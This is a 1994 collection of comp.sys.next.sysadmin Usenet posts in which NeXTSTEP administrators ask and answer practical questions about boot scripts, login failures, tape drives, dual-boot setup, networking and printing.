Newsgroups: comp.sys.next.sysadmin
Subject: error messages
Date: 11 Jan 1994 20:39:16 GMT
Organization: Technical University Vienna, Austria
Message-ID: <2gv2pk$58f@email.tuwien.ac.at>
Keywords: panic, vnode_pageout
During the last two days i have had two (independent?) problems with my
NeXTstation corresponding to the following error-messages:
In the monitor:
panic: (Cpu 0) MMU invalid descriptor during table walk
In /usr/adm/messages:
Jan 9 07:11:59 neptun mach: pageout: error = 28.
Jan 9 07:11:59 neptun mach: vnode_pageout: failed!
In each case i have had to reboot the machine.
Does anyone understand the error messages? What are the basic reasons for
the problems?
Thanks, Wolfgang PUSCH
=====================================================
D.I. Wolfgang PUSCH
Institut f. Nachrichtentechnik u. Hochfrequenztechnik,
Technische Universitaet Wien,
Gusshausstrasse 25/389
A-1040 WIEN
Austria
FAX: (+43 1) 587 05 83
EMAIL: pusch@email.tuwien.ac.at
From: shi@napoli.ks.uiuc.edu (Zhouhong Joel Shi)
Newsgroups: comp.sys.next.sysadmin
Subject: HELP: login window disappears
Date: 11 Jan 1994 22:31:15 GMT
Organization: University of Illinois at Urbana
Message-ID: <2gv9bj$pk5@vixen.cso.uiuc.edu>
Keywords: loginwindow
After I relocated a NeXT system ( a client), it could not get
the login window show up. I can log on it remotely but not on the
console. During reboot, it took for a bit long time for the system
to get netinfo up. On the console, it just shows the message of
reboot complete and totally hangs on there.
Any idea about that?
--
Joel Shi
+--------------------------------------------------------------------
|Programming and System Administration
|Theoretical Biophysics shi@lisboa.ks.uiuc.edu
|University of Illinois Tel: (217)-244-1851
Newsgroups: comp.sys.next.sysadmin
From: jpw@sansfoy.lib.Virginia.EDU (John Price-Wilkin)
Subject: gopher server on NeXTStep-Intel?
Message-ID: <CJHnAG.F0n@murdoch.acc.Virginia.EDU>
Sender: usenet@murdoch.acc.Virginia.EDU
Organization: University of Virginia
Date: Tue, 11 Jan 1994 23:15:52 GMT
Are any of you out there running gopher servers on NS-I machines?
What sort of performance are you seeing (reasonable? unreliable?
wonderful?)? What level of activity are you seeing?
I'm running a gopher server on a 25Mhz cube, getting about
100,000 hits/month on the main gopher server, but also supporting
WAIS, ftp, secondary gopher servers, and WWW service from it.
Would that be way beyond the capacity of a beefed up NS-I
machine?
John Price-Wilkin
jpw@virginia.edu
From: lemson@ux1.cso.uiuc.edu (David Lemson)
Newsgroups: comp.sys.next.bugs,comp.sys.next.sysadmin
Subject: hostname messed up in 3.2 during boot sequence
Date: 12 Jan 1994 00:19:55 GMT
Organization: University of Illinois at Urbana
Message-ID: <2gvfnb$60b@vixen.cso.uiuc.edu>
I am upgrading many machines to 3.2 and it appears that the lines:
if [ "$SETHOSTNAME" = -YES- ]; then
if [ -z "$HOSTNAME" ]; then
HOSTNAME=-AUTOMATIC-
fi
if [ "$HOSTNAME" != -NO- ]; then
echo "Setting hostname to $HOSTNAME"
docmd hostname $HOSTNAME
fi
fi
aren't doing their job in /etc/rc.net. I see "Setting hostname to
-AUTOMATIC-" as I should, but for some reason, 'docmd hostname
-AUTOMATIC-' isn't setting the hostname as it should at that time
(it stays 'localhost' as set in rc.boot I guess)
If I run 'hostname -AUTOMATIC-' from the command line as root, it
sets the hostname as it should (BOOTP). Does this work during the boot
process for anyone else? I am considering putting a "hostname
-AUTOMATIC-" in the /etc/rc.local as a workaround. This is far from
optimal, as syslogd reports 'localhost' as the hostname until it
gets around to the /etc/rc.local at the end.
Does anyone have any clue what needs to run before hostname responds
correctly by sending a BOOTP request?
The BOOTP servers are running 3.2 as well.
--
David Lemson (217) 244-1205
University of Illinois Computing & Comm Services Office System Administrator
Internet : lemson@uiuc.edu UUCP :...!uiucuxc!uiucux1!lemson
NeXTMail & MIME accepted BITNET : LEMSON@UIUCVMD
--
David Lemson (217) 244-1205
University of Illinois Computing & Comm Services Office System Administrator
Internet : lemson@uiuc.edu UUCP :...!uiucuxc!uiucux1!lemson
NeXTMail & MIME accepted BITNET : LEMSON@UIUCVMD
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.misc,comp.sys.next.hardware
From: death@netcom.com (David Burrowes)
Subject: Help (please read if have DEC Hard drive)
Message-ID: <deathCJHt33.5vI@netcom.com>
Summary: Where to call for warranty?
Organization: NETCOM On-line Communication Services (408 241-9760 guest)
Distribution: usa
Date: Wed, 12 Jan 1994 01:21:02 GMT
I bought a DEC 3105 1gig hard disk from Tecor a couple years ago.
It has been acting strang elately (it stops and then restarts
for no apparent reason sometimes). I discovered that I received no
warranty information with the drive last night when digging
through my records.
So, my pressing question is: do you have a support phone number
for DEC hard drives? If so, could you send it to me (pretty
please?)
My less pressing question is: Did you, when you bought your drive,
get some kinda written warranty with it?
Thanks for *any* assistance
david john burrowes
death@netcom.com
Newsgroups: comp.sys.next.sysadmin
From: ken@phys.titech.ac.jp (Ken-ichiro Aoki)
Subject: Re: HELP: login window disappears
In-Reply-To: shi@napoli.ks.uiuc.edu's message of 11 Jan 1994 22:31:15 GMT
Message-ID: <KEN.94Jan12123432@ieyasu.phys.titech.ac.jp>
Sender: news@phys.titech.ac.jp (Usenet News System)
Organization: Dept. of Physics, Tokyo Institute of Technology
References: <2gv9bj$pk5@vixen.cso.uiuc.edu>
Date: Wed, 12 Jan 1994 03:34:32 GMT
In article <2gv9bj$pk5@vixen.cso.uiuc.edu> shi@napoli.ks.uiuc.edu (Zhouhong Joel Shi) writes:
After I relocated a NeXT system ( a client), it could not get
the login window show up. I can log on it remotely but not on the
console. During reboot, it took for a bit long time for the system
to get netinfo up. On the console, it just shows the message of
reboot complete and totally hangs on there.
I have seen this kind of problem few times. First,
can you login on the console as root?
If so, it's a permission problem, I think.
Most likely, it's a workspace permission problem:
/usr/lib/NextStep/Workspace.app/Workspace
should be set uid set gid. If it is not,
chmod ug+s Workspace
should fix it. Anyway, something needs to be suid root,
most probably.
Interesting, how did you come to acquire this problem?
--
Kenichiro Aoki (ken@phys.titech.ac.jp), Department of Physics,
Tokyo Institute of Technology, Oh-okayama, Meguro-ku, Tokyo, JAPAN
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From: banz@pegasus.rutgers.edu (Megaera)
Newsgroups: news.sysadmin,comp.sys.next.sysadmin,talk.politics.mideast,talk.politics.soviet,soc.culture.greek,soc.culture.turkish,soc.culture.europe,soc.history,soc.culture.soviet,soc.rights.human,soc.culture.yugoslavia,alt.binaries.pictures.erotica
Subject: Re: My apologies to Dr Zaphiris Christidis
Message-ID: <Jan.11.23.10.40.1994.23339@pegasus.rutgers.edu>
Date: 12 Jan 94 04:10:40 GMT
References: <zq9uPB1w164w@anatolia.mn.org> <26snua$k77@sol.ctr.columbia.edu>
Followup-To: news.sysadmin
Organization: Rutgers Univ., New Brunswick, N.J.
dips@cad.gatech.edu (Deeptendu Majumder) writes:
>Ahmet Cosar (cosar@anatolia.mn.org) wrote:
>: I would like to present my sincere apologies to Dr Zaphiris Christidis
>: for posting the below article by forging his user-id and domain-name;
>Why do I remember seeing this posting last year ? I think that time it
>was also Dr. ZC, whose user-id was being mis-used
>d
Same here. I'm testing a reply to see if I'm not seeing things. Weird.
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
x With Orion's sword, the Hunter arose and conquered the world with x
x fury and grace. In him I was born, in him I shall die, in him I x
x shall lose name, station, and face. x
x x
x - a Grendel's oath x
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banz@pegasus.rutgers.edu "Bitter pills linger, let sarcasm reign!"
Newsgroups: comp.sys.next.sysadmin
From: eps@futon.SFSU.EDU (Eric P. Scott)
Subject: Re: Network Management Station (SNMP software)
Message-ID: <1994Jan12.081412.28786@csus.edu>
Sender: news@csus.edu
Organization: San Francisco State University
References: <1994Jan11.113050.16685@csus.edu> <CJH6r9.Dqn@ucdavis.edu>
Date: Wed, 12 Jan 1994 08:14:12 GMT
Basically, you end up paying for the GUI. The "network smarts"
really aren't that complicated. There was a company showing a
graphical network management product at the last NeXTWORLD Expo--
with an unsurprisingly hefty price tag.
I'm also curious what sort of demand there is for a NEXTSTEP
NMS application--now that NeXT is out of the hardware business,
and announced future NEXTSTEP products all seem to be targeted at
high-end hardware. I don't see much point in using NEXTSTEP for
a dedicated station, since any PeeCee capable of running NEXTSTEP
might just as well be running NetBSD (saving hundreds of dollars
right there) to support X-based freeware packages. NetBSD also
offers the Berkeley Packet Filter interface, which arguably makes
it inherently better suited for network monitoring applications.
-=EPS=-
--
Of course, we University types never let arguments like this stop
us from developing cool NEXTSTEP apps.
Newsgroups: comp.sys.next.sysadmin
From: reinhard@avalon.unizh.ch (Peter Reinhardt)
Subject: Indexing WriteNow-Files
Message-ID: <1994Jan12.084712.27955@ifi.unizh.ch>
Sender: news@ifi.unizh.ch (USENET News Admin)
Organization: University of Zurich, Department of Computer Science
Date: Wed, 12 Jan 1994 08:47:12 GMT
i am trying to (re-)index a large amount of Writenow-files
with Digital Librarian (i.e. the WingZ Documentation). But
it does not function. Probably the upgrade from 2.2 to 3.1
deleted a file necessary for indexing writenow files.
what file must i put where ? (i moved the executable
wn-rtf in the directory /usr/lib/indexing but this didnt
help much).
peter.
From: dan@dna.neusc.bcm.tmc.edu
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.hardware
Subject: How to restore NSi boot ?
Date: 12 Jan 1994 10:34:22 GMT
Organization: Baylor College of Medicine
Message-ID: <2h0jne$t04@gazette.bcm.tmc.edu>
I have NSI 3.2 installed on a disk with a small DOS partition. However
when I went to update DOS to 6.2, it wiped out the NSI boot that lets you
choose DOS or NSI. How can I restore this ? NB: if I make the NSI partition
active NSI boots fine, but if I then want DOS, I have to boot from a floppy
and use FDISK to make the DOS partition active.
Cheers,
Dan Ts'o 713-798-3331
Div. Neuroscience FAX: 713-798-3897
Baylor College of Medicine
1 Baylor Plaza S603 dan@dna.neusc.bcm.tmc.edu
Houston, TX 77030 tso@cephalo.neusc.bcm.tmc.edu
From: nuggets@cs.tu-berlin.de (Lars Hentschke)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.hardware
Subject: Re: How to restore NSi boot ?
Followup-To: comp.sys.next.sysadmin,comp.sys.next.hardware
Date: 12 Jan 1994 11:51:10 GMT
Organization: Technical University of Berlin, Germany
Message-ID: <2h0o7e$31o@news.cs.tu-berlin.de>
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dan@dna.neusc.bcm.tmc.edu wrote:
: I have NSI 3.2 installed on a disk with a small DOS partition. However
: when I went to update DOS to 6.2, it wiped out the NSI boot that lets you
: choose DOS or NSI. How can I restore this ? NB: if I make the NSI partition
: active NSI boots fine, but if I then want DOS, I have to boot from a floppy
: and use FDISK to make the DOS partition active.
*grin*
My first step was installing again NSI, but after 2nd failure during
updating from DOS 6.0 to 6.2, i took man pages an found out:
"disk" can write the boot0-program onto disk without partioning or
formatting (options for 'disk' left my brain, sorry).
I have 3.1 and hope it works for 3.2 too.
Bis denne ....
Lars.
From: nuggets@cs.tu-berlin.de (Lars Hentschke)
Newsgroups: comp.sys.next.sysadmin
Subject: SCSI-Tape doesnt work !
Date: 12 Jan 1994 12:08:20 GMT
Organization: Technical University of Berlin, Germany
Message-ID: <2h0p7k$3b6@news.cs.tu-berlin.de>
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aaaahhhhhmrbl!
My tape Wanktek 525 doesnt work.
under DOS and FreeBSD it works ok, but NSI(3.1) means:
tar tvf /dev/rst0
open(): I/O error. (no motor-sound)
and
cat /dev/rst0
read(): I/O error. (no motor sound)
but during boot, i recognized:
st0 major number 10
wanktek ....
why?
Lars.
From: charlesa@learned.co.uk
Newsgroups: comp.sys.next.sysadmin
Subject: FTP server guidelines for NS 3.1?
Date: Wed, 12 Jan 94 17:12:58 GMT
Organization: EUnet GB
Message-ID: <2h1b9f$8sq@marble.Britain.EU.net>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Hi -
Does anybody know of any guidelines for creating an anon. FTP server on an NS
3.1/Intel box? Thanks in advance.
C.
Newsgroups: comp.sys.next.sysadmin
From: thf@zelator.in-berlin.de (Thomas Funke)
Subject: Re: Any Optical Disk utilities?
Message-ID: <1994Jan11.121425.978@gamelan>
Sender: thomas@gamelan (thomas)
Organization: Disorganization
References: <2gphqo$r2k@dartvax.dartmouth.edu>
Date: Tue, 11 Jan 1994 12:14:25 GMT
In article <2gphqo$r2k@dartvax.dartmouth.edu> kov@onyx.dartmouth.edu (Ken
Overton) writes:
>
> I have other ODs that work fine in this drive, so I assume its just the
> disk. However, is there some utility to try to fix that disk?
>
I found a simple trick: Before you start booting, insert the OD, enter
"bod" (boot from OD) and interrupt the boot process. Now the OD-drive is
runnig. Now wait for about 2-3 minutes, during this time the OD gets hot.
(And some OD's work only when being hot ...)
Then boot the normal way from your disk, and hopefully the OD gets
recognised. If not: Try to clean it. And maybe do a disk init ( do a "man
disk" to find out how)
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From: thf@zelator.in-berlin.de (Thomas Funke)
Subject: Re: Help with "undefined symbols"!
Message-ID: <1994Jan11.121711.1036@gamelan>
Sender: thomas@gamelan (thomas)
Organization: Disorganization
References: <2grkvs$lj6@mercury.dur.ac.uk>
Date: Tue, 11 Jan 1994 12:17:11 GMT
In article <2grkvs$lj6@mercury.dur.ac.uk> S A McIntyre
> /usr/local/lib/missing which has the following:
>
> getenv.o putenv.o setenv.o strdup.o
getenv() is included in the shared libs, so don't link it a 2nd time !
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From: thf@zelator.in-berlin.de (Thomas Funke)
Subject: Re: Allegro CL 3.1.20 on NS3.2
Message-ID: <1994Jan11.165611.1982@gamelan>
Sender: thomas@gamelan (thomas)
Organization: Disorganization
References: <1994Jan9.115737.709@gamelan>
Date: Tue, 11 Jan 1994 16:56:11 GMT
In article <1994Jan9.115737.709@gamelan> thf@zelator.in-berlin.de (Thomas
Funke) writes:
>
> Following is the original article posted for 3.0. You have to
> note one problem in NS3.2: Because the compiler/libs have changed
> under 3.1+2, you have to link a copy of alloca(). You can get
> GNU-alloca and link it as I did in 'make.in':
>
> LIBRARIES = alloca.o -lNeXT_s -lsys_s
>
Using GNU-alloca slows down ACL, therefore I got the alloca() which
was included in NS3.0 from the shared libraries. Compile it with
cc -c alloca.s
and you're done !
----------- alloca.s (cut here) -------------------------
/*
This is the original alloca-function
from NS3.0
*/
.globl _alloca
_alloca:
movel sp@,a0
movel sp,d0
moveq #-4,d1
subl d1,d0
subl sp@(0x4:w),d0
andl d1,d0
movel d0,sp
addal d1,sp
jmp a0@
------------ cut here --------------------------
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From: michael@rs2.iaee.tuwien.ac.at ()
Newsgroups: comp.sys.next.sysadmin
Subject: How to configure with alias internet name?
Date: 12 Jan 1994 19:29:41 GMT
Organization: Technical University Vienna, Austria
Distribution: world
Message-ID: <2h1j35$esk@email.tuwien.ac.at>
My NeXT machine is connected to the Internet and my machine has a normal HOSTNAME and an alias Internet Name. Currently I can only receive mail when I use the HOSTNAME for the email address. How do I have to configure my NetInfo, so that it also excepts the alias name as a valid address?
Thanks in advance
SM
Newsgroups: comp.sys.next.sysadmin
From: chris@its.com (Chris Cuilla)
Subject: Best SCSI card for Epson/ISA w/NEXTSTEP/Intel
Message-ID: <1994Jan12.193546.14929@il.us.swissbank.com>
Sender: root@il.us.swissbank.com (Operator)
Organization: Swiss Bank Corporation CM&T Division
Date: Wed, 12 Jan 1994 19:35:46 GMT
Which of these cards is best in the Epson (w/an ISA slot) for
NEXTSTEP/Intel?
Adaptec 1541
Bus Logic BT542
DPT 2021
Thanks, in advance.
--
Chris Cuilla
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Newsgroups: comp.sys.next.sysadmin
From: chris@its.com (Chris Cuilla)
Subject: NEXTSTEP/Intel, SoftPC & Novell connectivity...
Message-ID: <1994Jan12.194818.14995@il.us.swissbank.com>
Sender: root@il.us.swissbank.com (Operator)
Organization: Swiss Bank Corporation CM&T Division
Date: Wed, 12 Jan 1994 19:48:18 GMT
I've been asked about connecting a small (3-machine) network of
NEXTSTEP/Intel machines to a Novell/PC/Windows network. The Novell
network is built using Token-Ring (don't know if this makes a difference).
The basic questions are:
1. When running SoftPC, can I see the Novell server?
2. If I set the PC's to "dual-boot" (that is boot in either
NEXTSTEP or DOS) can I have it see the Novell server in
DOS when I'm there, and see the NEXTSTEP net when I'm in
as NEXTSTEP?
3. If I setup the machine with two drives one with DOS, the other
with NEXTSTEP will this work, and how?
What other concerns are there? Have I considered everything?
--
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From: andy@zest.demon.co.uk (Andy Munarriz)
Subject: Need Help with Server setup
Organization: zest
Date: Tue, 11 Jan 1994 23:52:56 +0000
Message-ID: <758332376snz@zest.demon.co.uk>
Sender: usenet@demon.co.uk
Hello,
We have a problem:
NeXTSTEP Intel v3.1
We want to set up a machine as a Main/NetInfo/Mail (i.e. all options selected
in SNS). We only have a small Network of three machines at present (all Intel).
The server has 730MBytes of free disk space (1gig SCSI drive). However when
SNS begins its recon of the machine - we allways get the first error -
Insufficient disk space in domain root? - surely this cannot be so with
the above disk space available. Is there something else we should be doing?
Please give us a clue!
Regards
Andy
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Over and out!
******************************************************************************
* Andy Munarriz
* Software Development Manager
* Zest Professional Services Tel: 0635 30600 Email: andy@zest.demon.co.uk
******************************************************************************
From: dbora@ils.nwu.edu (Donald Bora)
Newsgroups: comp.sys.next.misc,comp.sys.next.sysadmin,comp.sys.next.hardware
Subject: Question about a potential printer
Date: 12 Jan 1994 21:14:15 GMT
Organization: The Institute for the Learning Sciences
Distribution: world
Message-ID: <2h1p77$jor@anaxagoras.ils.nwu.edu>
I am looking for a PostScript printer for my:
NeXTCube '40
Here is what I have found.
PCPI printer (Canon engine)
LaserImage 4040
300 dpi
4 pages per minute
The guy I spoke with said this thing is made in San Diego
(for whatever that's worth)
I don't want to buy a NeXT printer because I don't want to
end up with an unsupported printer that only works with
my NeXT.
Any suggestions?
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Evanston, Ill | |
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work: (708) 467-1972 |
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From: schell@gauss.ece.psu.edu (Stephan V. Schell)
Newsgroups: comp.sys.next.sysadmin
Subject: page accounting on NeXTprinter
Date: 12 Jan 94 16:50:18
Organization: Dept. of Elec. Eng., Pennsylvania State University, USA
Distribution: comp
Message-ID: <SCHELL.94Jan12165018@gauss.ece.psu.edu>
After searching through the Networking and System Administration
manual and all 18 megabytes of NeXTAnswers, I have not been able
to determine how to enable accounting of the number of pages
that are printed by my NeXTprinter (this is in 3.2). In my old
2.x system, NetInfo basically stored a standard /etc/printcap-style
entry for the NeXTprinter, one element of which was the af: field
(for accounting file). However, this does not seem to be supported
under 3.2.
How can I keep track of how many pages are printed and by whom
under 3.2?
Thanks in advance,
Steve Schell
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From: manenber@ibis.ccmail.com
Subject: Re: NEXTSTEP/Intel, SoftPC & Novell connectivity...
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Message-ID: <manenber.94Jan1213330@ibis.ccmail.com>
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>I've been asked about connecting a small (3-machine) network of
>NEXTSTEP/Intel machines to a Novell/PC/Windows network. The Novell
>network is built using Token-Ring (don't know if this makes a difference).
>The basic questions are:
> 1. When running SoftPC, can I see the Novell server?
Yes, If you enable netware in NS; then configure SoftPC to use netware following insignia's directions; you can "see" netware servers.
> 2. If I set the PC's to "dual-boot" (that is boot in either
> NEXTSTEP or DOS) can I have it see the Novell server in
> DOS when I'm there, and see the NEXTSTEP net when I'm in
> as NEXTSTEP?
Yes, If you configure DOS correctly you can can have netware connectivity when running under dos and both TCP and Netware connectivity when running under NS. In addition you might consider buying a TCP package for MSDOS/Windows; there are ways that you can run both the Novell IPX/SPX stack and a TCP stack simultaneously; thereby enabling you to see netware servers as well as other Nextstep systems when running under DOS. This is usually done via packet drivers or a shim like ODINSUP.
> 3. If I setup the machine with two drives one with DOS, the other
> with NEXTSTEP will this work, and how?
>
NS automatically detects the DOS partitions and automounts them.
>What other concerns are there? Have I considered everything?
Beware that if you have a DOS partition already installed with apps, etc, SoftPC will not allow you to boot from it. It must boot from its own "DOS partition" which is actually contained within a file under NS. You can map and see the files under your other DOS partition, but now they will appear mapped as a different drive, (D: for example) and your windows apps which are probably configured to run off of C: will not work. I had to reinstall the apps I required under SoftPC within the SoftPC p
artition file.
>Chris Cuilla
>---
>NEXTSTEP Developer
>chris@its.com
Hope this helps,
Mark Anenberg, Lotus ccMail
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From: thomaz@chunnel.ecn.purdue.edu (Jose E Thomaz)
Subject: system 2.1 -> 3.2 - Do I need it? Advise sought... :-)
Message-ID: <CJJDGz.4LA@noose.ecn.purdue.edu>
Sender: news@noose.ecn.purdue.edu (USENET news)
Organization: Purdue University Engineering Computer Network
Date: Wed, 12 Jan 1994 21:38:58 GMT
BACKGROUND:
I have bought a Nextstation, a Quadra 800 and a couple of 486 PC's over
the years, and am planning on networking them.
So far, the NeXT has been a perfect machine to work with Mathematica and
programing. I currently have several civil engineering programs that
I ported to the NeXT and are an important part of my work/research.
On the NeXT, I use mostly Mathematica 2.0, TeX, WriteNow, the
C and f2c environments with Interface builder, Diagram, Create, etc.
Now my problem: I still have the original system 2.1 on the slab (!$#!)
I know it may sound ridiculous for many of you but I never bothered
to update it when 3.0 came out. I did buy the upgrade but never got
to install it. There were complaints of slow downs at the time,
and some software would have to be upgraded, or would misbehave, etc.
Since I had no time to go through it, it never got done...
MY QUESTION:
SO.... now I want to network the mac, NeXT and PCs and 3.2 is
finally here. My question thus is: Is there any significant advantage
in 3.2 over 2.1 for a mixed environment network (only 3 machines)?
Should I just install the 3.0 I have and stick with it? I'd rather not
spend much $$...
I would be using ethernet, I guess, unless there are better options.
My interest is to have the data files and reports flow transparently
through the machines, since each plataform will have their own
base of programs and the output of one program at a machine serves
as input at another.
Notice that I am happy with 2.1, belive it or not, since what I need
it for gets done. But I realize I am probably missing out on new
capabilities.
All my software are the versions that run on nextstep 2.1. I guess
WriteNow is now history, but will Mathematica 2.0, Diagram and
Create break?
If you have any comments, I'd appreciate hearing them, after you
stop laughing at my "pre-historic" configuration :-)
Thanks
J.Eduardo Thomaz
thomaz@cn.ecn.purdue.edu
From: devans@herman.cs.uoguelph.ca (David F Evans)
Newsgroups: comp.sys.next.sysadmin
Subject: Removable Media Ownership
Date: 13 Jan 1994 01:03:31 GMT
Organization: University of Guelph
Message-ID: <2h26l3$1db@nermal.cs.uoguelph.ca>
I know that when you insert some removable media NeXTSTEP makes the current
user the owner of all the files. Is owner information actually stored for the
NeXT file system and then subsequently ignored or os it never written? Not that
it makes a whole lot of difference but I was wondering.
=============================================================================
David Evans devans@snowhite.cis.uoguelph.ca
Computer/Synth Junkie (NeXTMail OK)
University of Guelph "Default is the value selected by the
Guelph, Ontario, Canada composer overridden by your command."
- Roland TR-707 Manual
From: edmtl@alf.uib.no (Thor Legvold)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.programmer
Subject: Weird directory refuses to go away!
Date: 13 Jan 1994 02:13:38 +0100
Organization: University of Bergen
Message-ID: <2h2782$ags@alf.uib.no>
Here's one I've not seen before and is driving me crazy...
NeXT cube, 3.0J
I had a directory with some source I was trying to compile,
and next time I log in there are two extra entries...:
[2:03] sushi% ls -l
drwxrwxrwx 4 thor 1024 Jan 7 00:33 lines/
drwxrwxrwx 4 thor 1024 Jan 7 00:33 lines.~1~/
drwxrwxrwx 4 thor 1024 Jan 7 00:33 lines.~2~/
[2:03] sushi%
the 1 and 2 versions just "appeared" one day, with identical
contents to the original. So, naturally I removed the contents.
It turns out all three directories are the same, but don't seem
to be links!
[2:05] sushi% ls -li
71801 drwxrwxrwx 4 thor 1024 Jan 7 00:33 lines/
71801 drwxrwxrwx 4 thor 1024 Jan 7 00:33 lines.~1~/
71801 drwxrwxrwx 4 thor 1024 Jan 7 00:33 lines.~2~/
[2:05] sushi%
The inode is identical. When I try to rm them, or even rmdir,
I get an error:
[2:06] sushi% rm -r lines
rm: lines not removed
[2:06] sushi% rmdir lines
rmdir: lines: Directory not empty
[2:06] sushi% ls -lai lines
total 3
71801 drwxrwxrwx 4 thor 1024 Jan 7 00:33 ./
133204 drwxr-xr-x 9 thor 2048 Jan 8 01:36 ../
[2:06] sushi%
I also tried with the -f option, it didn't help.
Any advice on how to fix this? Running fsck twice didn't
seem to help, and I haven't found out in my Unix programming
how to read or write directly to a disk and erase or free an
inode. I'd like to avoid such tactics anyway.
Please e-mail any tips.
Regards,
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From: buster@rintintin.Colorado.EDU (Paul Buster)
Subject: Is there a dwrite for the 3.2 screensaver ?
Message-ID: <CJJC89.BtC@cnsnews.Colorado.EDU>
Sender: usenet@cnsnews.Colorado.EDU (Net News Administrator)
Organization: University of Colorado, Boulder
Date: Wed, 12 Jan 1994 21:12:08 GMT
is there a dwrite or some other way to have the
NS 3.2 screensaver (NeXT logo and hostname on the
black screen) kick in a little quicker ?
we tried changing root's dim time, but that didn't
work (like changing root's background color).
thanks
-paul
From: zmonster@ATHENA.MIT.EDU (Eric M Hermanson)
Newsgroups: comp.sys.next.sysadmin
Subject: Problems connecting NeXT SCSI CD-ROM to Intel Professional GX
Date: 13 Jan 1994 02:30:38 GMT
Organization: Massachusetts Institute of Technology
Distribution: world
Message-ID: <2h2boe$a7n@senator-bedfellow.MIT.EDU>
I am having problems connecting a NeXT SCSI CD-ROM drive to an Intel
Professional GX computer via an Adaptec 1542 SCSI card. When everything
is hooked up I get the following error during the boot process:
042: Invalid ISA Configuration Information.
or something like that.
Then the system hangs at the
registering sc0
message. I believe everthing is set up correctly as far as DMA, IRQ, ports,
etc. The on-board SCSI has been disabled properly, and the jumpers set right.
The SCSI CD-ROM is set for target 5, and the internal hard drive is an IDE.
I am wondering if the problem does not lie in the computer's configuration
memory itself. The problem is, I don't have the configuration software
on diskette anymore. Does anyone have the configuration software for the
Intel GX on disk? The BIOS configuration software hard wired in ROM doesn't
fix things.
Thanks,
Eric
From: mow@marsu.tynet.sub.org (Markus Wenzel)
Newsgroups: comp.sys.next.sysadmin,de.comp.sys.next
Subject: Problem with dump backup
Date: 12 Jan 1994 12:21:37 +0100
Organization: Palumbian Research Labs
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Summary: restore does not restore setuid/setgid information of tape dump
Keywords: dump, restore, setuid, setgid, weird
Hi,
my root file system moved to a faster hard disk, so I dumped the old
one to tape with dump. Restoring the tape went ok, but with one very
annoying exception: the uid/gid and permission information was restored,
but all setuid/setgid bits in the permission flags had disappeared!!!
Is this the normal behaviour of dump/restore? Bug or feature?
I used 'restore if /dev/rst0', because I did not want to restore the
entire tape. Does 'restore rf' a better job?
All this happend on NS/I 3.2.
I just want backups that give me identical duplicates!
Regards,
Markus.
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zufrieden leben." -- Frankie: "Ach was, die emulieren das doch nur!"
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IRC: Marsu Intel aside.
From: jlc@alien.att.com (John L. Chmielewski)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: SCSI-Tape doesnt work !
Message-ID: <CJJsxo.FIA@cbnewse.cb.att.com>
Date: 13 Jan 94 03:12:58 GMT
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In article <2h0p7k$3b6@news.cs.tu-berlin.de> nuggets@cs.tu-berlin.de (Lars Hentschke) writes:
> My tape Wanktek 525 doesnt work.
> under DOS and FreeBSD it works ok, but NSI(3.1) means:
> tar tvf /dev/rst0
> open(): I/O error. (no motor-sound)
> and
> cat /dev/rst0
> read(): I/O error. (no motor sound)
I connected a Wangtec 125 MB tape drive to NeXT hardware in 1991,
and experienced the same problems. I now run NEXTSTEP on Intel
hardware, and had the same problem with the tape drive, so I dusted
off my setmtd.c program and compiled it. The tape drive now works.
The problem is that the tape driver needs to be set to a fixed block
size of 512 bytes, otherwise "i/o errors" is returned.
I wrote setmtd.c to set the SCSI tape driver to a fixed block size of
512 bytes. After compiling and running it, I was able to read and write
to the drive, using tar, cpio, and cat. The program needs to be run
after each reboot, so I added it to /etc/rc.local. The program has been
around a long time and it has been improved upon by several other people.
If you check the archives, you should find it and and an improved version
in a collection of scsi programs called scsitools.tar.Z.
The following uuencoded tar archive contains setmtd.c and a FAT binary
for those people that do not have a compiler. The compiled version
expects the tape drive to be at /dev/rst0.
John
jlc@attmail.com
begin 664 setmtd.tar.gz
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end
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From: kiwi@belly.in-berlin.de (Axel Habermann)
Subject: Re: Indexing WriteNow-Files
Message-ID: <CJJJDx.5o3@belly.in-berlin.de>
Sender: usenet@belly.in-berlin.de
Organization: - none -
References: <1994Jan12.084712.27955@ifi.unizh.ch>
Date: Wed, 12 Jan 1994 23:46:44 GMT
In article <1994Jan12.084712.27955@ifi.unizh.ch> reinhard@avalon.unizh.ch
(Peter Reinhardt) writes:
> i am trying to (re-)index a large amount of Writenow-files
> with Digital Librarian (i.e. the WingZ Documentation). But
> it does not function. Probably the upgrade from 2.2 to 3.1
> deleted a file necessary for indexing writenow files.
> what file must i put where ? (i moved the executable
> wn-rtf in the directory /usr/lib/indexing but this didnt
> help much).
Extract the following and put the result into
/LocalLibrary/Services. It provides a service which
enables Librarian to read WriteNow-files.
begin 644 wn2rtf.service.tar.gz
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`
end
Be sure you have /NextApps/WriteNow.app/wn-rtf.
--
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kiwi@belly.in-berlin.de (NeXT-Mail) )o o( weisst was Du
kiwi@cs.tu-berlin.de (NO NeXT-Mail) \ | / tust, mach's
FaxFon: +49 30 4543046 \~/ mit Eleganz!"
From: jweiss@casbah.acns.nwu.edu (Jerry Weiss)
Newsgroups: comp.sys.next.sysadmin
Subject: Slip + Netinfo = Slow Print?
Date: 13 Jan 1994 09:29:09 GMT
Organization: Northwestern University, Evanston IL USA
Message-ID: <2h3495$7c6@news.acns.nwu.edu>
On my NS/FIP at home everything generally works fine. I've also started
to use the Transys PNI 1.6 beta Slip. This works very well. One thing
I noticed after bringing up SLIP is that whenever I try to print, there is
alot of activity over the modem and it takes anywhere from 15-30 secs to
get a print panel and there is some additional delays before the printer
starts.
My printer is configured as private. When slip is activited I am not
part of any other Netinfo server (that I know of...). I just have
resolv.conf set up to use the campuses name servers.
If anyone has some suggestions as to how to fix this or what to read up
on, I'd appreciate it. Also, does anyone know if there is a version of
GatorFTP that works for intel. The one I have (1.4?) works fine when
connected to Vaxen, but dies when talking to my Next's (black) at my
office.
TIA
--
Jerry S. Weiss
j-weiss@nwu.edu
Dept. Medicine, Northwestern Univ. Medical School, Chicago, Illinois
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Newsgroups: comp.sys.next.sysadmin
